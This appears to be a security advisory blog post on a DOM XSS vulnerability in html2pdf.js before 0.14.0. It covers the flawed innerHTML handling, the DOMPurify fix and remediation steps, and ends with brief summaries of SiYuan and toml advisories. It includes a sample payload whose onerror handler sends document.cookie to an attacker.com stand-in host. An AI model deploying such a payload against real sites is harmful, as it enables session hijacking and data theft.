Feb 19, 2026·5 min read·47 visits
Critical DOM XSS in html2pdf.js < 0.14.0. The library blindly assigned unsanitized HTML strings to `innerHTML`, attempting to remove `<script>` tags only *after* the browser had already parsed and executed inline event handlers. Fix: Upgrade to 0.14.0 which implements DOMPurify.
Generating PDFs on the backend is a nightmare of headless browsers and dependency hell. So, naturally, developers flocked to `html2pdf.js` to offload that pain to the client side. Unfortunately, prior to version 0.14.0, this library treated user input with the naive trust of a golden retriever. By attempting to filter malicious code *after* inserting it into the DOM, the library opened the door wide for DOM-based Cross-Site Scripting (XSS). This vulnerability allows attackers to execute arbitrary JavaScript simply by convincing a user (or an admin) to generate a PDF containing a malicious string.
Let's be honest: nobody likes generating PDFs. It's the digital equivalent of doing taxes. You have to mess with coordinates, fonts that don't load, and layout engines that behave like they're from 1998. Enter html2pdf.js. It promises a dream: give it an HTML string, and it gives you a shiny PDF using html2canvas and jspdf under the hood.
It works beautifully. Developers love it. They hook it up to invoice generators, report builders, and 'Export to PDF' buttons everywhere. And because it runs in the browser, nobody thinks about sanitization. "It's just client-side," they say. "What could go wrong?"
Everything. Everything could go wrong. Because when you take a string from a user and tell the browser "render this as HTML," you are essentially handing the keys to the kingdom to anyone who knows how to close an <img> tag.
The root cause here isn't just a bug; it's a fundamental misunderstanding of how browsers work. The vulnerability lies in the Worker class, specifically how it handles string input via the .from() method.
To convert a string of HTML into a PDF, the library first needs to render it into the DOM so html2canvas can take a picture of it. The developers did the obvious thing: they created a temporary container and set its content.
But they knew XSS was a risk. So, they implemented a mitigation. They decided to insert the HTML, and then look for <script> tags and remove them. This is the security equivalent of letting a burglar into your house and then asking them nicely to leave their guns at the door—after they've already shot you.
Browsers execute HTML sequentially and immediately. When you assign a string to innerHTML, the parser runs. If that string contains <img src=x onerror=alert(1)>, the browser attempts to load the image, fails, triggers the error, and executes the alert before the next line of JavaScript code even runs. The library's cleanup routine arrives too late to save the day.
Let's look at the smoking gun in src/utils.js. This creates the element that will eventually be snapshotted.
The Vulnerable Code (Pre-0.14.0):
export const createElement = function createElement(tagName, opt) {
var el = document.createElement(tagName);
if (opt.className) el.className = opt.className;
if (opt.innerHTML) {
// DANGER ZONE START
el.innerHTML = opt.innerHTML; // <--- The fatal flaw
var scripts = el.getElementsByTagName('script');
// The futile attempt to clean up the mess
for (var i = scripts.length; i-- > 0; null) {
scripts[i].parentNode.removeChild(scripts[i]);
}
// DANGER ZONE END
}
return el;
};See that el.innerHTML = opt.innerHTML? That is the exact moment the exploit fires. The for loop below it is effectively dead code security-wise. It removes <script> tags, sure, but it ignores onerror, onload, onmouseover, SVG scripts, and a dozen other vectors.
The Fix (v0.14.0):
The maintainers finally brought in the heavy artillery: DOMPurify. This library is the gold standard for HTML sanitization because it strips dangerous bits before the browser renders them.
import DOMPurify from 'dompurify';
export const createElement = function createElement(tagName, opt) {
var el = document.createElement(tagName);
if (opt.className) el.className = opt.className;
if (opt.innerHTML) {
// Sanitize BEFORE assignment
el.innerHTML = DOMPurify.sanitize(opt.innerHTML);
}
return el;
};Since the library was only filtering <script> tags (a classic blacklist failure), exploiting this is trivial for anyone who has passed XSS 101.
The Scenario:
Imagine an internal dashboard where employees can customize their profile bio. The dashboard has a "Download Profile as PDF" feature using html2pdf.js. An attacker sets their bio to the payload below.
The Payload:
// We don't need <script> tags. We just need an event handler.
const payload = '<img src="nonexistent.jpg" onerror="fetch(\'https://attacker.com/steal?c=\' + document.cookie)">';
// When the victim clicks "Download PDF"...
html2pdf().from(payload).save();The Execution Flow:
html2pdf takes the bio string.createElement.innerHTML. The browser parses <img ...>.onerror immediately.<script> tags, finds none, and proceeds to generate a PDF of the broken image. The crime is already done.If you are using html2pdf.js version 0.13.x or lower, you are vulnerable. The fix is straightforward, but you need to verify it actually applies to your build pipeline.
Primary Fix:
Upgrade to version 0.14.0 or later. The maintainers added dompurify as a dependency.
npm install html2pdf.js@latestDefense in Depth: Even with the patched library, trusting client-side sanitization entirely can be risky if the library configuration is loose. Ideally, you should sanitize HTML on the server-side before it ever reaches the client. If you must generate PDFs from user input, treat that input as radioactive material.
If you cannot upgrade immediately (legacy projects are fun, right?), you must manually sanitize the string before passing it to .from():
import DOMPurify from 'dompurify';
// Manually clean it before html2pdf touches it
const cleanHTML = DOMPurify.sanitize(dirtyInput);
html2pdf().from(cleanHTML).save();CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
html2pdf.js eKoopmans | < 0.14.0 | 0.14.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Cross-Site Scripting) |
| Attack Vector | Network (DOM-based) |
| CVSS v4.0 | 8.7 (High) |
| Impact | Session Hijacking, Arbitrary JS Execution |
| Exploit Status | Proof of Concept Available |
| Patch Date | 2026-01-12 |
SiYuan Note versions prior to v3.7.4 contain an information disclosure vulnerability in the `/api/asset/resolveAssetPath` endpoint. This endpoint returns absolute backend filesystem paths unmodified to CheckAuth-only requests. Low-privileged users or unauthenticated readers under publish mode can exploit this to leak the local directory layout, operating system username, and overall host deployment structure.
An access control vulnerability in the SiYuan personal knowledge management platform before version v3.7.4 exposes notebook encryption parameters to unauthenticated remote attackers. When the platform is configured in Publish Mode, specific API endpoints fail to enforce authorization checks. This access failure leaks key-derivation materials, password verifiers, and wrapped database keys to anonymous network clients.
A security vulnerability in the SiYuan local-first personal knowledge management system allows unauthenticated remote attackers to bypass logical boundary controls in publish (read-only) mode. By interacting with endpoints that lack proper publish-access validation, an attacker can disclose the application's internal database schemas and harvest block IDs across both public and private notebooks. This metadata leakage compromises the confidentiality of restricted documents and provides foundational information for targeted extraction.
An information disclosure vulnerability exists in the SiYuan personal knowledge management system versions prior to v3.7.4. The application fails to enforce publish-access filters on block attribute retrieval endpoints. Consequently, unauthenticated remote attackers can bypass document-level protection rules (such as password protection or disabled-publish flags) to retrieve sensitive block-level attributes, including aliases, memos, block names, and custom metadata fields, by querying the API using guessed or known block IDs.
An authentication bypass vulnerability (classified as CWE-288) exists in the publish-mode component of SiYuan, a Go-based note-taking application. This security flaw allows unauthenticated remote attackers to bypass password-protected note boundaries by leveraging auxiliary block endpoints that fail to enforce document access checks. Attackers can exploit this issue by first harvesting document metadata via a public search endpoint and subsequently fetching full rendered document contents using vulnerable block endpoints. This technical analysis explores the root cause, exploitation methodology, and remediation path.
An uncontrolled recursion vulnerability (CWE-674) in the toml-node NPM package (published as toml) prior to version 4.2.0 allows unauthenticated remote attackers to trigger process-wide Denial of Service (DoS) crashes. By submitting TOML payloads with deep bracket or brace nesting, attackers exhaust the V8 runtime stack limit.